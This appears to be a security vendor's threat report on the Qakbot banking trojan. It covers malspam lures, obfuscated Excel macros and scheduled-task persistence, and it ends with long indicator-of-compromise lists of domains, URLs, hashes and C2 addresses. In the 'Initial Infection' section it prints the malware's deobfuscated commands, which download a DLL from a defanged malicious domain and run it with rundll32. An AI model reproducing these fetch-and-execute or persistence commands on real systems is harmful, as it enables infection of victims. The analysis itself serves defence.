Qakbot Banking Trojan

Executive Summary

Qakbot, also known as Pinkslipbot, Qbot and Quakbot, is a notorious Banking Trojan designed to steal account credentials and online banking session information leading to account takeover fraud. Commonly distributed via malicious unsolicited email (malspam), recent Qakbot campaigns have reportedly deployed ‘Cobalt Strike’ beacons likely in an attempt to move laterally as well as gaining persistency and establishing a robust communication channel back to the threat actor.

Notably the use of ‘recycled’ legitimate emails, likely obtained from other victims and potentially sent to known recipients of these, will appear convincing to many. As such, users should be wary of any out-of-character or unexpected email, especially when including unusual links or attachments.

Whilst reports vary on the first observation of Qakbot, potentially as early as 2007, the Trojan continues to be heavily maintained and updated by its creators leading to the active threat observed today. Demonstrating this continued development, recent features include a worm-like ability to spread over networks, advanced web-injection techniques to steal credentials and a persistence mechanism that some believe to be the best in its class.

Additionally, the Trojan has implemented anti-debug, anti-sandbox and anti-VM functionally in addition to regularly shifting their command and control (C2) infrastructure to prevent the retrieval of malicious payloads in an attempt to thwart security analysis and research attempts.

In an attempt to further evade detection, Qakbot is considered a polymorphic threat in that it can modify itself even after it has infected an endpoint. Additionally, Qakbot constantly modifies files, including the payloads involved, resulting in newer variants continuously cycling through C2 servers.

The combination of all of these abilities ensures that Qakbot remains a highly effective threat responsible for countless successful attacks on organizations, including governmental structures, worldwide, leading to the infection of tens of thousands of hosts and high financial losses for both victims and their associated financial institutions.

Delivery

Since Qakbot predominantly targets the corporate sector, the primary infection vector involves the delivery of an initial malicious payload, typically using malicious unsolicited email (malspam) or phishing campaigns, as well as exploiting common vulnerabilities to infiltrate target organizations.

In addition to this common delivery methods, reports suggest that the threat has also been distributed by a dropper that installs the threat using a delayed execution function. Specifically, after a dropper is deployed to a target machine, likely through some malware-as-a-service (MaaS) campaign such as those orchestrated by ‘Emotet‘, it waits approximately fifteen minutes before dropping the Qakbot payload, likely in an attempt to evade detection by security solutions such as sandboxes.

In this recently observed campaign, victims were targeted with malicious email lures that appear to be in response to, or modified versions of, legitimate business communications between two parties (Figure 1).

Figure 1 – Example lure email seemingly using content known to the recipient/victim

The use of an existing legitimate email, aside from making the lure appear far more convincing to a recipient recognizing their own message and possibly the purported sender, is consistent with previously identified Qakbot behavior in which email accounts are compromised and message threads hijacked. This tactic effectively creates a ‘snowball effect’ in which more and more organizations can be targeted with lures derived from legitimate email messages obtained from previously compromised victims.

As is common with this delivery method, the malicious document, in this case a Microsoft Excel spreadsheet, is compressed and attached as a Zip archive. Notably, of the samples observed thus far in recent Qakbot campaigns, the filename of these archives appear somewhat similar in that they utilize common phrases followed by a two digit number, for example:

• _attached_file (39).zip
• _file_attached (35).zip
• attached (86).zip
• attached-60.zip
• collected-93.zip
• doc (56).zip
• paper-12.zip

Furthermore, the compressed Microsoft Excel spreadsheet filenames also appear to follow a naming convention beginning with document- and followed nine to ten digits and .xls, for example, document-1338652500.xls.

Given this, any suspicious email attachment exhibiting similar naming conventions should be considered potentially malicious.

Initial Infection

Victim’s falling for the email lure, opening the Zip archive and subsequently the malicious spreadsheet will be presented with content that claims to be ‘encrypted by [the] Docusign® Protect Service’ (Figure 2).

Figure 2 – Qakbot fake ‘Docusign Protect Service’ encrypted spreadsheet

Fake content such as this is an attempt to socially engineer the victim into bypassing the security controls within Microsoft Office by clicking on ‘Enable Editing’ and ‘Enable Content’ which in turn will allow embedded macro code to be executed. This tactic is not unique to Qakbot and is regularly observed across multiple cybercrime campaigns such as those conducted by ‘Emotet’ and ‘Trickbot‘.

Likely in an attempt to evade detection, malicious code embedded within this spreadsheet is obfuscated and split across multiple cells on Excel macro sheets (XLM) that sit alongside the main ‘DocuSign’ sheet. To prevent a casual visual inspection of these values, with the additional sheets appearing blank, the font color is set to ‘white’ so as to match the cell background albeit this text can easily be revealed (Figure 3).

Figure 3 – Obfuscated code hidden within the lure spreadsheet (Revealed in ‘red’)

Once the victim has lowered the security posture of Microsoft Office, the malicious code is automatically executed using the Auto_Open() function leading to the reassembly of the download and execution commands by concatenating the various strings (Figure 4).

Figure 4 – Excel ‘malicious command’ string concatenation formula

De-obfuscating these formulas and reassembling the strings allows the first stage payload download and execution commands to be viewed:

• Uses the Visual Basic for Applications (VBA) CALL statement to access the URLDownloadToFileA function from URLMon.dll to downloads the first stage payload from the specified URL to the specified path, in this case the parent directory as signified by ..\ and a seemingly random or nonsense filename fkruf.djr: CALL(URLMon,URLDownloadToFileA,JJCCBB,0,hxxp://xjw19whta03ytgdi[.]com/inda.xls,..\fkruf.djr,0)
• Uses the VBA EXEC function to execute the rundll32.exe utility to register the downloaded payload, a dynamic link library (DLL), allowing its malicious code to be executed: EXEC("rundll32 ..\fkruf.djr,DllRegisterServer")

Notably, utilizing hardcoded domains and URLs for these payloads likely indicates that each lure document is tailored to the campaign and/or victim, behavior somewhat consistent with the tactics, techniques and procedures (TTP) observed in campaigns conducted by other threat actors such as ‘Emotet’.

Qakbot Payload

Having downloaded the first stage payload, a dynamic link library (DLL), rundll32.exe is executed by the malicious Microsoft Office ‘downloader’ macro to register and spawn the malicious Qakbot payload.

Subsequently a scheduled task is created, using the Windows Task Scheduler,schtasks.exe, to load the DLL payload with the Register Server utility, regsvr32.exe, using the following parameters:

• /Create – Schedules a new task;
• /RU "NT AUTHORITY\SYSTEM" – Executes the task with elevated system privileges;
• /tn <RANDOM_STRING> – Specifies the task name, seemingly using a random string;
• /tr "regsvr32.exe -s \"<PAYLOAD>" – The process to be executed, in this case regsvr32 is passed a malicious dynamic link library (DLL);
• /SC ONCE – Task scheduled to execute once at the specified time;
• /Z – Delete the task upon completion of the schedule;
• /ST <Now + 3 minutes as hh:mm> – Start time, used by the ONCE schedule;
• /ET <Now + 15 minutes as hh:mm> – End time, used by the ONCE schedule.

Of the samples observed thus far, the start time is consistently set three minutes into the future and end time fifteen minutes later, presumably allowing the malicious process to act on its objectives within a twelve minute window.

Whilst not observed in our attempts to execute this threat, a recent SANS ISC diary entry [1] suggests that a ‘Cobalt Strike’ payload is delivered by Qakbot leading to additional command and control (C2) traffic.

Likely used by the threat actor for managing and tracking their attack activity, both a botnet and campaign identifier is embedded within the payload and can be extracted alongside C2 IP addresses. This data, whilst encrypted and packed, can be easily seen within the sandbox analysis results within ‘Hatching Triage’ [2] (Figure 5).

Figure 5 – Example ‘Hatching Triage’ Qakbot analysis (https://tria.ge)

Recommendations

• Employee security awareness training can help them to identify and handle suspicious content such as unexpected or out-of-character communications, especially those containing email attachments or external links.
• Reinforce the message that Microsoft Office files that encourage users to ‘Enable Editing’, ‘Enable Content’ or disable any other security setting are almost certainly malicious.
• Consider the use of Group Policy to disable macros from running in Microsoft Office applications altogether; legitimate macros should be digitally signed to allow an exception to the disable rule.
• Administrative tools and script interpreters, such as PowerShell, should be disabled to prevent misuse by malicious payloads.
• Enhance the overall security of your infrastructure network monitoring for, and denying access to, malicious domains, hosts and IP addresses as detailed in the Indicators of Compromise section.

Indicators of Compromise

First Stage Payload Domains

The following domains have been identified as hosting the first stage payload as downloaded by the macro within the initial lure spreadsheet.

• cfkko03vvxohq03taep[.]com
• cidn02mjco03pobx[.]com
• cyh26wcekai02atpeax[.]com
• dskl02touc03jeby[.]com
• dzw10jpcgj03fckc[.]com
• emqjj27ljgl02hqqzi[.]com
• etysu02scnabr03wzaxue[.]com
• fb25d3a23hy[.]com
• fb25d3add23hy[.]com
• fb25d3as23hy[.]com
• fb25d3erda23hfy[.]com
• fb25erhfy[.]com
• ftkaq03ihfbh03rehx[.]com
• gbza26rngn02bekll[.]com
• ghtyrncjf2df[.]com
• hei03tfxv03mahl[.]com
• hqcaz02egeq03bvmhm[.]com
• hqn27dyhvwp02wznv[.]com
• ihjpn03sijjl03dtmtr[.]com
• inpa02lzjvt03anas[.]com
• jam03iofwv03jniedf[.]com
• jhj10jtvwu03zsjwk[.]com
• jqilt27xsbz02anaeu[.]com
• kfzhm28pwzrlk02bmjy[.]com
• kyvws03ndah03hecon[.]com
• lic02uiccnh03nruvp[.]com
• nvrih26coxejl02enyfn[.]com
• nwvv27dwmy02bgznc[.]com
• nygvj27cvlk02cktf[.]com
• ououz02naba03oiyd[.]com
• pbdq26xjey02uprxwx[.]com
• ppk02dmgmzj03dxekog[.]com
• pxiw28jgmb02slcqxq[.]com
• qab26utxb02pquc[.]com
• rea26ypgvle02hcbunp[.]com
• rlvq27rmjej02sfvb[.]com
• rlyrt26rnxw02vqijgs[.]com
• sbr28gizur02fcxtz[.]com
• toj27nlpr02irajz[.]com
• toqku26hwpu02shuroh[.]com
• ttj10qrrqx03kdts[.]com
• uhfa02eknih03swzdku[.]com
• vyhml26anpfyb02aqsehz[.]com
• vyw27lfrvoj02kkxo[.]com
• wnah27frybfe02sadb[.]com
• xgka03stox03cloeqz[.]com
• xjw10whta03ytgdi[.]com
• yar03jmtvr03jtqg[.]com
• ydw27hfhbk02zpidmv[.]com
• ywgiu10zmnwcx03vpnyp[.]com
• zkkn02lffiff03zkmh[.]com

First Stage Payload IP Addresses

Based on passive DNS resolution of the first stage payload domains, the following IP addresses were identified and may be reused for nefarious purposes by those responsible for this threat.

• 8.208.97.177
• 8.209.64.96
• 8.209.68.209
• 8.210.31.137
• 34.89.57.175
• 34.90.237.156
• 35.228.62.27

First Stage Payload URLs

The following first stage payload URLs were identified as related to initial Qakbot lures and should be considered malicious.

• hxxp://cidn02mjco03pobx[.]com/index.xls
• hxxp://cyh26wcekai02atpeax[.]com/fera/frid.gif
• hxxp://dskl02touc03jeby[.]com/index.xls
• hxxp://dzw10jpcgj03fckc[.]com/india.xls
• hxxp://emqjj27ljgl02hqqzi[.]com/fedara.gif
• hxxp://etysu02scnabr03wzaxue[.]com/index.xls
• hxxp://fb25d3a23hy[.]com/fb26.gif
• hxxp://fb25d3add23hy[.]com/fb26.gif
• hxxp://fb25d3as23hy[.]com/fb26.gif
• hxxp://fb25d3erda23hfy[.]com/fb26.gif
• hxxp://gbza26rngn02bekll[.]com/fera/frid.gif
• hxxp://ghtyrncjf2df[.]com/fb26.gif
• hxxp://hqcaz02egeq03bvmhm[.]com/index.xls
• hxxp://hqn27dyhvwp02wznv[.]com/fedara.gif
• hxxp://inpa02lzjvt03anas[.]com/index.xls
• hxxp://jhj10jtvwu03zsjwk[.]com/inda.xls
• hxxp://jqilt27xsbz02anaeu[.]com/fedara.gif
• hxxp://kfzhm28pwzrlk02bmjy[.]com/mrch.gif
• hxxp://lic02uiccnh03nruvp[.]com/index.xls
• hxxp://nvrih26coxejl02enyfn[.]com/fera/frid.gif
• hxxp://nwvv27dwmy02bgznc[.]com/fedara.gif
• hxxp://nygvj27cvlk02cktf[.]com/fedara.gif
• hxxp://ououz02naba03oiyd[.]com/index.xls
• hxxp://pbdq26xjey02uprxwx[.]com/fera/frid.gif
• hxxp://ppk02dmgmzj03dxekog[.]com/index.xls
• hxxp://pxiw28jgmb02slcqxq[.]com/mrch.gif
• hxxp://qab26utxb02pquc[.]com/fera/frid.gif
• hxxp://rea26ypgvle02hcbunp[.]com/fera/frid.gif
• hxxp://rlvq27rmjej02sfvb[.]com/fedara.gif
• hxxp://rlyrt26rnxw02vqijgs[.]com/fera/frid.gif
• hxxp://sbr28gizur02fcxtz[.]com/mrch.gif
• hxxp://toj27nlpr02irajz[.]com/fedara.gif
• hxxp://ttj10qrrqx03kdts[.]com/inda.xls
• hxxp://uhfa02eknih03swzdku[.]com/index.xls
• hxxp://vyhml26anpfyb02aqsehz[.]com/fera/frid.gif
• hxxp://vyw27lfrvoj02kkxo[.]com/fedara.gif
• hxxp://wnah27frybfe02sadb[.]com/fedara.gif
• hxxp://xjw10whta03ytgdi[.]com/inda.xls
• hxxp://ydw27hfhbk02zpidmv[.]com/fedara.gif
• hxxp://ywgiu10zmnwcx03vpnyp[.]com/inda.xls
• hxxp://zkkn02lffiff03zkmh[.]com/index.xls
• hxxp://xjw10whta03ytgdi[.]com/inda.xls

Based on these recent observations, similarly structured URLs ending with the following paths and resource names could potentially be considered malicious.

• fb26.gif
• fedara.gif
• fera/frid.gif
• index.xls
• india.xls
• inda.xls
• mrch.gif

Initial Lure Attachment SHA256

The following hashes are examples of recent Qakbot attachments (Zip-compressed archives) containing Microsoft Excel spreadsheet lures. Given that these seemingly generated for each campaign and/or victim, these samples are unlikely to be reused in the future and are provided for reference only.

• 183240f918f98487e91f4581c624d452c596fea8fadb0b3867c09693867c0b94 (paper-12.zip)
• ad629b6683dfb209a892c0530ffb82fd8fa9170e563c8a9bd5fd0307ba3fdf47 (_attached_file (39).zip)
• f16973eea7b3c1679d3a229d8613a09aff054ea83949aebc75db5bd52df1f65a (collected-93.zip)
• b75c78e392b503476efdfb1d172103e90f6f1b57dcba5be64d8f2a9918d0e00d (attached (86).zip)
• 563ce65e29af0db882733a3e635c5bd4c1d2c93f5094f2f0d1fcf23295b6d586 (attached-60.zip)

Botnet & Campaign Identifiers

The following botnet (alpha-numeric) and campaign (numeric) identifiers have been observed during March 2021 with those behind Qakbot recently using US President names as well some less ‘catchy’ botnet identifiers:

• abc025
  • 1603896786
• biden01
  • 1613753447
• biden02
  • 1614254614
• biden03
  • 1614851222
• biden09
  • 1614939927
• obama07
  • 1614243368
• obama08
  • 1614855149
• obama09
  • 1614939797
• tr
  • 1614598087

Command & Control IP Addresses

The following Qakbot command and control (C2) IP addresses have been observed as in use across multiple botnets and campaigns during March 2021:

• 1.160.141.215:443, 1.52.227.184:443, 103.206.112.234:443, 105.198.236.101:443
• 105.198.236.99:443, 105.96.8.96:443, 106.51.52.111:443, 106.51.85.162:443
• 108.160.123.244:443, 108.190.151.108:2222, 108.29.32.251:443, 108.30.125.94:443
• 108.31.15.10:995, 108.35.13.206:443, 108.46.145.30:443, 109.106.69.138:2222
• 109.12.111.14:443, 113.22.175.141:443, 115.133.243.6:443, 117.199.10.108:443
• 119.153.110.160:443, 119.153.62.76:3389, 119.157.106.105:3389, 122.148.156.131:995
• 125.209.114.182:995, 125.239.152.76:995, 125.63.101.62:443, 136.232.34.70:443
• 140.82.27.132:443, 140.82.49.12:443, 142.117.191.18:2222, 144.139.166.18:443
• 144.139.47.206:443, 144.202.38.185:2222, 144.202.38.185:443, 144.202.38.185:995
• 149.28.101.90:2222, 149.28.101.90:443, 149.28.101.90:8443, 149.28.101.90:995
• 149.28.98.196:2222, 149.28.98.196:443, 149.28.98.196:995, 149.28.99.97:2222
• 149.28.99.97:443, 149.28.99.97:995, 151.205.102.42:443, 151.73.112.197:443
• 156.223.164.75:443, 157.131.108.180:443, 172.115.177.204:2222, 172.78.30.215:443
• 172.87.134.226:443, 172.87.157.235:3389, 172.91.19.192:443, 173.173.1.164:443
• 173.184.119.153:995, 173.21.10.71:2222, 173.245.152.231:443, 173.25.45.66:443
• 174.104.22.30:443, 176.181.247.197:443, 176.205.222.30:2078, 178.221.70.248:995
• 181.48.190.78:443, 182.48.193.200:443, 183.82.100.249:2222, 184.96.158.62:993
• 184.97.134.255:443, 185.19.190.81:443, 185.246.9.69:995, 186.28.55.211:443
• 186.31.77.42:443, 187.250.118.233:995, 187.250.177.33:995, 187.250.238.164:995
• 187.250.249.6:995, 188.210.230.197:443, 188.25.63.105:443, 188.26.91.212:443
• 188.27.178.166:443, 188.27.32.167:443, 189.146.183.105:443, 189.183.209.130:995
• 189.210.115.207:443, 189.222.199.37:995, 189.222.216.44:443, 189.222.217.105:443
• 189.222.59.177:443, 189.223.234.23:995, 189.231.212.189:443, 190.147.186.58:443
• 190.25.76.219:443, 190.85.91.154:443, 193.248.221.184:2222, 195.12.154.8:443
• 195.43.173.70:443, 196.151.252.84:443, 196.221.207.137:995, 197.161.154.132:443
• 197.45.110.165:995, 197.51.82.72:443, 197.57.82.226:443, 199.19.117.131:443
• 199.247.16.80:443, 199.247.22.145:443, 2.232.253.79:995, 2.7.116.188:2222
• 201.143.235.13:443, 201.215.96.174:0, 202.184.20.119:443, 202.185.166.181:443
• 202.188.138.162:443, 203.194.110.74:443, 203.198.96.249:443, 203.198.96.61:443
• 203.45.104.33:443, 207.246.116.237:2222, 207.246.116.237:443, 207.246.116.237:8443
• 207.246.116.237:995, 207.246.70.216:443, 207.246.75.201:443, 207.246.77.75:2222
• 207.246.77.75:443, 207.246.77.75:8443, 207.246.77.75:995, 208.180.246.73:443
• 208.93.202.49:443, 209.210.187.52:443, 209.210.187.52:995, 213.60.147.140:443
• 216.201.162.158:443, 217.133.54.140:32100, 217.162.149.212:443, 217.165.22.188:443
• 217.165.231.192:2078, 217.165.96.127:990, 24.117.107.120:443, 24.139.72.117:443
• 24.152.219.253:995, 24.205.42.241:443, 24.229.150.54:995, 24.231.54.185:2222
• 24.27.82.216:2222, 24.28.183.107:995, 24.40.173.134:443, 24.43.22.218:993
• 24.50.118.93:443, 24.55.112.61:443, 24.55.66.125:443, 24.71.28.247:443
• 24.95.61.62:443, 27.223.92.142:995, 31.5.21.66:443, 32.210.98.6:443
• 35.134.202.234:443, 36.77.151.211:443, 37.104.126.241:995, 38.92.225.121:443
• 39.36.188.231:995, 41.225.13.128:8443, 41.228.44.229:443, 41.39.134.183:443
• 41.97.174.237:443, 45.118.216.157:443, 45.32.154.10:443, 45.32.155.12:2222
• 45.32.155.12:443, 45.32.155.12:995, 45.32.162.253:443, 45.32.165.134:443
• 45.32.211.207:2222, 45.32.211.207:443, 45.32.211.207:8443, 45.32.211.207:995
• 45.46.53.140:2222, 45.63.104.123:443, 45.63.107.192:2222, 45.63.107.192:443
• 45.63.107.192:995, 45.77.115.208:2222, 45.77.115.208:443, 45.77.115.208:8443
• 45.77.115.208:995, 45.77.117.108:2222, 45.77.117.108:443, 45.77.117.108:8443
• 45.77.117.108:995, 45.77.193.83:443, 47.138.201.136:443, 47.146.169.85:443
• 47.187.108.172:443, 47.196.192.184:443, 47.22.148.6:443, 47.44.217.98:443
• 5.12.255.109:443, 5.13.70.49:443, 5.14.126.153:443, 5.193.181.221:2078
• 50.244.112.106:443, 50.29.166.232:995, 50.96.234.132:995, 59.90.246.200:443
• 64.121.114.87:443, 65.27.228.247:443, 67.165.206.193:993, 67.6.12.4:443
• 67.6.55.77:443, 67.8.103.21:443, 68.134.181.98:443, 68.174.15.223:443
• 68.186.192.69:443, 68.225.60.77:443, 68.46.142.48:995, 68.82.125.234:443
• 69.47.239.10:443, 70.168.130.172:995, 70.49.88.199:2222, 71.117.132.169:443
• 71.12.214.209:2222, 71.14.110.199:443, 71.163.223.159:443, 71.182.142.63:443
• 71.187.170.235:443, 71.197.126.250:443, 71.199.192.62:443, 71.41.184.10:3389
• 71.63.120.101:443, 71.74.12.34:443, 71.88.104.107:443, 71.88.193.17:443
• 72.16.56.171:443, 72.186.1.237:443, 72.190.101.70:443, 72.240.200.181:2222
• 72.252.201.69:443, 72.28.255.159:995, 72.29.181.78:2222, 72.36.59.46:2222
• 72.66.47.70:443, 72.71.230.82:2222, 73.153.211.227:443, 73.200.219.143:443
• 73.228.1.246:443, 73.25.124.140:2222, 74.102.76.128:443, 74.137.189.78:443
• 74.195.88.59:443, 74.222.204.82:995, 74.68.144.202:443, 74.75.237.11:443
• 75.118.1.141:443, 75.136.26.147:443, 75.136.40.155:443, 75.189.159.193:443
• 75.67.192.125:443, 76.104.230.174:443, 76.25.142.196:443, 76.94.200.148:995
• 77.211.30.202:995, 77.27.204.204:995, 78.180.179.136:443, 78.185.59.190:443
• 78.63.226.32:443, 78.96.199.79:443, 78.97.207.104:443, 79.112.1.59:443
• 79.115.174.55:443, 79.117.56.230:443, 80.11.173.82:8443, 80.14.209.42:2222
• 80.227.5.69:443, 80.240.26.178:443, 80.7.129.64:995, 81.133.234.36:2222
• 81.150.181.168:2222, 81.214.126.173:2222, 81.97.154.100:443, 82.12.157.95:995
• 82.127.125.209:990, 83.103.182.50:443, 83.110.103.152:443, 83.110.108.38:2222
• 83.110.3.77:2078, 83.110.80.66:995, 83.110.9.71:2222, 83.196.56.65:2222
• 84.117.132.16:995, 84.117.176.32:443, 84.232.238.30:443, 84.247.55.190:443
• 84.247.55.190:8443, 84.72.35.226:443, 85.204.189.105:443, 85.52.72.32:2222
• 86.120.64.150:2222, 86.121.64.217:2222, 86.122.18.250:443, 86.123.195.190:443
• 86.126.215.243:443, 86.160.137.132:443, 86.175.79.249:443, 86.220.62.251:2222
• 86.236.77.68:2222, 86.98.89.100:2222, 86.99.134.158:443, 87.202.87.210:2222
• 89.137.211.239:443, 89.137.211.239:995, 89.137.211.72:443, 89.3.198.238:443
• 89.33.87.107:443, 90.101.117.122:2222, 90.112.5.12:2222, 90.65.236.181:2222
• 92.59.35.196:2222, 93.113.177.152:443, 94.52.68.72:443, 94.53.92.42:443
• 95.179.247.224:443, 95.77.144.238:443, 95.77.223.148:443, 96.21.251.127:2222
• 96.237.141.134:995, 96.247.181.229:443, 96.30.198.161:443, 96.37.113.36:993
• 96.56.234.74:443, 96.57.188.174:2222, 97.69.160.4:2222, 98.121.187.78:443
• 98.173.34.213:995, 98.192.185.86:443, 98.240.24.57:443, 98.252.118.134:443

MITRE ATT&CK

Contact us to learn more about Malware prevention by the Argos™ Digital Risk Protection platform

References

[1] https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike/27158/

[2] https://tria.ge/210310-1pcpa5ddye